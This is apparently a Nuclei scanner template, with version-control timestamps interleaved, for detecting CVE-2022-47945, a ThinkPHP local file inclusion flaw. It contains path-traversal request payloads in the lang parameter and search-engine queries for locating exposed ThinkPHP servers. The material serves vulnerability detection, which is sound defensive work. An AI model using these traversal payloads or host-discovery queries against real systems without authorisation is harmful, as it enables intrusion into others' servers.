2023-01-15 17:19:02 +00:00
id : CVE-2022-47945
2022-12-23 07:25:38 +00:00
info :
2023-01-16 17:41:15 +00:00
name : Thinkphp Lang - Local File Inclusion
2022-12-23 07:25:38 +00:00
author : kagamigawa
2023-01-15 17:19:02 +00:00
severity : critical
2022-12-23 07:25:38 +00:00
description : |
2023-01-15 17:19:02 +00:00
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
2023-09-27 15:51:13 +00:00
impact : |
This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches and updates provided by the Thinkphp framework.
2022-12-23 07:25:38 +00:00
reference :
- https://tttang.com/archive/1865/
2023-01-15 17:19:02 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-47945
2023-01-20 13:34:01 +00:00
- https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
- https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
2024-05-31 19:23:20 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2023-01-16 17:41:15 +00:00
classification :
2023-01-20 13:34:01 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-01-16 10:43:45 +00:00
cve-id : CVE-2022-47945
2023-08-31 11:46:18 +00:00
cwe-id : CWE-22
2024-05-31 19:23:20 +00:00
epss-score : 0.04137
epss-percentile : 0.92167
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
2022-12-23 07:25:38 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : thinkphp
product : thinkphp
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Thinkphp"
- http.title:"thinkphp"
- cpe:"cpe:2.3:a:thinkphp:thinkphp"
fofa-query :
- header="think_lang"
- title="thinkphp"
2024-05-31 19:23:20 +00:00
google-query : intitle:"thinkphp"
2023-01-15 17:19:02 +00:00
tags : cve,cve2022,thinkphp,lfi
2022-12-23 07:25:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-23 07:25:38 +00:00
- method : GET
path :
- "{{BaseURL}}/?lang=../../thinkphp/base"
- "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-12-23 07:25:38 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'Call Stack'
- 'class="trace'
condition : and
- type : status
status :
- 500
2024-06-08 16:02:17 +00:00
# digest: 4a0a004730450221008f1af4db19b6e2a6ea8eac38119f34c635b5ead62dbf540348f21dec73c16ca902203f700eef9c4169e63b94f7e4d602a219c7ae2bd9c6110dc2bc4822398f2b9a6f:922c64590222798bb761d5b6d8e72950